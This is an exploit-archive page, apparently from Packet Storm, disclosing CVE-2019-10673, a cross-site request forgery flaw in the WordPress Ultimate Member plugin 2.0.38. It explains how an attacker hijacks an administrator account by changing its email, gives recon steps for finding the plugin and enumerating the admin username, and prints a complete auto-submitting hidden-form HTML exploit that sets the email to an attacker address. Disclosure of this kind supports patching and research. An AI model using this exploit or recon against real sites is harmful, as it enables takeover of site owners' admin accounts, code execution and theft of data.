what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

WordPress Ultimate Member 2.0.38 Cross Site Request Forgery

WordPress Ultimate Member 2.0.38 Cross Site Request Forgery
Posted Apr 1, 2019
Authored by Georg Knabl

WordPress Ultimate Member plugin version 2.0.38 suffers from a cross site request forgery vulnerability.

tags | exploit, csrf
advisories | CVE-2019-10673
SHA-256 | 4772d215c378d25e9935476f1ef5390f196f37487b85160372746959794faf06

WordPress Ultimate Member 2.0.38 Cross Site Request Forgery

Change Mirror Download
# Exploit Title: WordPress Ultimate Member Plugin 2.0.38 CSRF
# Discovery Date: 03 / 05 / 2019
# Discovered By: Georg Knabl
# Vendor Website: https://ultimatemember.com/
# Software Link: https://wordpress.org/plugins/ultimate-member/
# Software Download URL : https://downloads.wordpress.org/plugin/ultimate-member.2.0.38.zip
# Version: 2.0.38 (probably also 2.0.39 and older versions)
# Fixed in Version: 2.0.40
# CVE: CVE-2019-10673
# Category : WebApps
# CWEs: CWE-352

********************************************************************************
Vulnerability Description:

A CSRF vulnerability in a logged-in user's profile edit form in
the Ultimate Member plugin 2.0.38 for WordPress allows attackers to become admin and
subsequently extract sensitive information and execute arbitrary code. This occurs because
the attacker can change the e-mail address in
the administrator profile, and then the attacker is able to reset
the administrator password using the WordPress "password forget" form.

********************************************************************************
Software Description:

The Ultimate Member plugin allows WordPress site owners to quickly implement a
membership area. In this area, VIP users can view content that is hidden to other
users. Additionally, the plugin provides functionality to edit the current logged-in
member's profile information. At the time of discovery, the Ultimate Member plugin
had more than 100.000 active installations.

********************************************************************************
Attack Vector:

On the plugin page that allows members to edit their personal information, sensitive
details such as the e-mail address can be changed by the logged-in user. The users
managed by the plugin correspond to native WordPress users. Unfortunately, the
plugin fails to secure against Cross Site Request Forgery (CSRF) attacks. This
allows an attacker to prepare exploit code on another website and lure a logged-in
administrator of the target website that uses the Ultimate Member plugin to this
website. The website, then, sends a hidden POST request via a html form to the
vulnerable website that causes the plugin to change the e-mail address of logged-in
user to the e-mail address of the attacker. Now that the attacker's e-mail address
is associated with an administrator role, the attacker is able to reset the password
of the account using WordPress' "password forget" form. Subsequently the attacker
is able to log-in with administrator access and cause further damage such as:

* extract sensitive information (sensitive information disclosure)
* upload and activate plugins or themes (arbitrary code execution)
* edit files on the server using the built-in WordPress file editor (arbitrary
code execution)
* generate new admin user (backdoor)

The administrator is not informed about this attack but might have problems logging
in again as the password has changed. Even though the plugin sends a notification
e-mail stating the profile data has changed, this message is sent to the new e-mail
address, which now belongs to the attacker.

Recon:
An attacker may easily find out the presence of this plugin as it uses typical CSS
class prefixes in the frontend. The target URL of the CSRF form can be guessed as
it uses a default path. Alternatively, the attacker could request member access to
determine the actual URL. The admin's username has to be known but could either
be guessed or enumerated via WordPress' author pages assuming user ID equals to "1".
Enumeration example call: https://vulnerable-website.example.com/?author=1

********************************************************************************
Exploit Code: (as placed on the third-party website that executes the CSRF. Tested
on Google Chrome 73.)

<!DOCTYPE html>
<html>
<head>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
<script>
$(function(){
// set current timestamp
$('form input[name="timestamp"]').val(Math.floor(Date.now() / 1000) + 60 * 60);
// automatically submit form
$('form').submit();
});
</script>
</head>
<body>
...arbitrary content...

<!-- hidden CSRF form --!>
<iframe style="display:none" name="csrf-frame"></iframe>
<form method="post" action="https://vulnerable-website.example.com/account/general/" target="csrf-frame" style="display:none">
<input type="hidden" name="_um_account" value="1" />
<input type="hidden" name="_um_account_tab" value="general" />
<input type="hidden" name="timestamp" value="1551799591" />
<input type="hidden" name="request" value="" />
<input type="hidden" name="user_login" value="administrator" /><!-- admin's username --!>
<input type="hidden" name="first_name" value="Foo" />
<input type="hidden" name="last_name" value="Bar" />
<input type="hidden" name="user_email" value="evil@attacker.com" /><!-- hacker's e-mail address --!>
<input type="hidden" name="um_account_submit" value="submit" />
<input type="hidden" name="current_user_password" value="" />
<input type="hidden" name="user_password" value="" />
<input type="hidden" name="confirm_user_password" value="" />
</form>
</body>
</html>
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close